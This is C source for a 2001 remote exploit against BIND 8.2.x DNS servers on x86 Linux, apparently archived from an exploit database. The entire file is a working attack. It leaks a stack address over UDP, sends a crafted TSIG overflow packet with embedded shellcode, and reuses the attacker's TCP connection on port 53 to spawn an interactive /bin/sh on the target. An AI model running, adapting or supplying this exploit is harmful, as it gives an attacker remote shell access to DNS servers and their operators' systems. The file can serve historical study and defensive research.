/*## copyright LAST STAGE OF DELIRIUM feb 2001 poland *://lsd-pl.net/ #*/
/*## bind 8.2 8.2.1 8.2.2 8.2.2-PX Slackware 4.0/RedHat 6.2 #*/
/* The code establishes a TCP connection with port 53 of a target system. */
/* It makes use of the "infoleak" bug (through UDP) to obtain the base */
/* value of the named process frame stack pointer, which is later used */
/* for constructing proper DNS tsig exploit packet. */
/* */
/* Upon successful exploitation the assembly routine gets executed. It */
/* walks the descriptor table of the exploited named process in a search */
/* for the socket descriptor of the previously established TCP connection. */
/* Found descriptor is duplicated on stdin, stdout and stderr and /bin/sh */
/* is spawned. */
/* */
/* The use of such an assembly routine allows successfull exploitation of */
/* the vulnerability in the case when vulnerable dns servers are protected */
/* by tightly configured firewall systems (with only 53 tcp/udp port open). */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>
char msg[]={
0xab,0xcd,0x09,0x80,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0x01,0x20,0x20,0x20,0x20,0x02,0x61
};
char asmcode[]=
"\x3f" /* label len 63 */
"\x90\x90\x90" /* padding */
"\xeb\x3b" /* jmp <asmcode+65> */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x5f" /* popl %edi */
"\x83\xef\x7c" /* sub $0x7c,%edi */
"\x8d\x77\x10" /* leal 0x10(%edi),%esi */
"\x89\x77\x04" /* movl %esi,0x4(%edi) */
"\x8d\x4f\x20" /* leal 0x20(%edi),%ecx */
"\x89\x4f\x08" /* movl %ecx,0x8(%edi) */
"\xb3\x10" /* movb $0x10,%bl */
"\x89\x19" /* movl %ebx,(%ecx) */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\xff" /* movb $0xff,%cl */
"\x89\x0f" /* movl %ecx,(%edi) */
"\x51" /* pushl %ecx */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x07" /* movb $0x7,%bl */
"\x89\xf9" /* movl %edi,%ecx */
"\xcd\x80" /* int $0x80 */
"\x59" /* popl %ecx */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x39\xd8" /* cmpl %ebx,%eax */
"\x75\x0a" /* jne <asmcode+62> */
"\x66\xbb\x12\x34" /* movw $0x1234,%bx */
"\x66\x39\x5e\x02" /* cmpw %bx,0x2(%esi) */
"\x74\x08" /* je <asmcode+70> */
"\xe2\xe0" /* loop <asmcode+32> */
"\x3f" /* label len 63 */
"\xe8\xc0\xff\xff\xff" /* call <asmcode+6> */
"\x89\xcb" /* movl %ecx,%ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\x03" /* movb $0x03,%cl */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x3f" /* movb $0x3f,%al */
"\x49" /* decl %ecx */
"\xcd\x80" /* int $0x80 */
"\x41" /* incl %ecx */
"\xe2\xf6" /* loop <asmcode+76> */
"\xeb\x14" /* jmp <asmcode+108> */
"\x31\xc0" /* xorl %eax,%eax */
"\x5b" /* popl %ebx */
"\x8d\x4b\x14" /* leal 0x14(%ebx),%ecx */
"\x89\x19" /* movl %ebx,(%ecx) */
"\x89\x43\x18" /* movl %eax,0x18(%ebx) */
"\x88\x43\x07" /* movb %al,0x7(%ebx) */
"\x31\xd2" /* xorl %edx,%edx */
"\xb0\x0b" /* movb $0xb,%al */
"\xcd\x80" /* int $0x80 */
"\xe8\xe7\xff\xff\xff" /* call <asmcode+88> */
"/bin/sh"
"\x90\x90\x90\x90" /* padding */
"\x90\x90\x90\x90"
;
int rev(int a){
int i=1;
if((*(char*)&i)) return(a);
return((a>>24)&0xff)|(((a>>16)&0xff)<<8)|(((a>>8)&0xff)<<16)|((a&0xff)<<24);
}
int main(int argc,char **argv){
char buffer[1024],*b;
int i,c,n,sck[2],fp,ptr6,jmp,cnt,ofs,flag=-1;
struct hostent *hp;
struct sockaddr_in adr;
printf("copyright LAST STAGE OF DELIRIUM feb 2001 poland //lsd-pl.net/\n");
printf("bind 8.2 8.2.1 8.2.2 8.2.2PX for slackware 4.0/redhat 6.2 x86\n\n");
if(argc<2){
printf("usage: %s address [-s][-e]\n",argv[0]);
printf(" -s send infoleak packet\n");
printf(" -e send exploit packet\n");
exit(-1);
}
while((c=getopt(argc-1,&argv[1],"se"))!=-1){
switch(c){
case 's': flag=1;break;
case 'e': flag=2;
}
}
if(flag==-1) exit(-1);
adr.sin_family=AF_INET;
adr.sin_port=htons(53);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1) {
if((hp=gethostbyname(argv[1]))==NULL) {
errno=EADDRNOTAVAIL;goto err;
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}
sck[0]=socket(AF_INET,SOCK_DGRAM,0);
sck[1]=socket(AF_INET,SOCK_STREAM,0);
if(connect(sck[0],(struct sockaddr*)&adr,sizeof(adr))<0) goto err;
if(connect(sck[1],(struct sockaddr*)&adr,sizeof(adr))<0) goto err;
i=sizeof(struct sockaddr_in);
if(getsockname(sck[1],(struct sockaddr*)&adr,&i)==-1){
struct netbuf {unsigned int maxlen;unsigned int len;char *buf;};
struct netbuf nb;
ioctl(sck[1],(('S'<<8)|2),"sockmod");
nb.maxlen=0xffff;
nb.len=sizeof(struct sockaddr_in);;
nb.buf=(char*)&adr;
ioctl(sck[1],(('T'<<8)|144),&nb);
}
n=ntohs(adr.sin_port);
asmcode[4+48+2]=(unsigned char)((n>>8)&0xff);
asmcode[4+48+3]=(unsigned char)(n&0xff);
if(write(sck[0],msg,sizeof(msg))==-1) goto err;
if((cnt=read(sck[0],buffer,sizeof(buffer)))==-1) goto err;
printf("stack dump:\n");
for(i=0;i<(cnt-512);i++){
printf("%s%02x ",(i&&(!(i%16)))?"\n":"",(unsigned char)buffer[512+i]);
}
printf("\n\n");
fp=rev(*(unsigned int*)&buffer[532]);
ofs=0xfe-((fp-(fp&0xffffff00))&0xff);
cnt=163;
if((buffer[512+20+2]!=(char)0xff)&&(buffer[512+20+3]!=(char)0xbf)){
printf("system does not seem to be a vulnerable linux\n");exit(1);
}
if(flag==1){
printf("system seems to be running bind 8.2.x on a linux\n");exit(-1);
}
if(cnt<(ofs+28)){
printf("frame ptr is too low to be successfully exploited\n");exit(-1);
}
jmp=rev(fp-586);
ptr6=rev((fp&0xffffff00)-12);
fp=rev(fp&0xffffff00);
printf("frame ptr=0x%08x adr=%08x ofs=%d ",rev(fp),rev(jmp),ofs);
printf("port=%04x connected! ",(unsigned short)n);fflush(stdout);
b=buffer;
memcpy(b,"\xab\xcd\x01\x00\x00\x02\x00\x00\x00\x00\x00\x01",12);b+=12;
for(i=0;i<strlen(asmcode);i++) *b++=asmcode[i];
for(i=0;i<(128>>1);i++,b++) *b++=0x01;
memcpy(b,"\x00\x00\x01\x00\x01",5);b+=5;
for(i=0;i<((ofs+64)>>1);i++,b++) *b++=0x01;
*b++=28;
memcpy(b,"\x06\x00\x00\x00",4);b+=4;
memcpy(b,&fp,4);b+=4;
memcpy(b,"\x06\x00\x00\x00",4);b+=4;
memcpy(b,&jmp,4);b+=4;
memcpy(b,&jmp,4);b+=4;
memcpy(b,&fp,4);b+=4;
memcpy(b,&ptr6,4);b+=4;
cnt-=ofs+28;
for(i=0;i<(cnt>>1);i++,b++) *b++=0x01;
memcpy(b,"\x00\x00\x01\x00\x01\x00\x00\xfa\xff",9);b+=9;
if(write(sck[0],buffer,b-buffer)==-1) goto err;
sleep(1);printf("sent!\n");
write(sck[1],"/bin/uname -a\n",14);
while(1){
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sck[1],&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(sck[1],buf,cnt);
}
if(FD_ISSET(sck[1],&fds)){
if((cnt=read(sck[1],buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(1,buf,cnt);
}
}
}
exit(0);
err:
perror("error");exit(-1);
}
// milw0rm.com [2001-03-01]
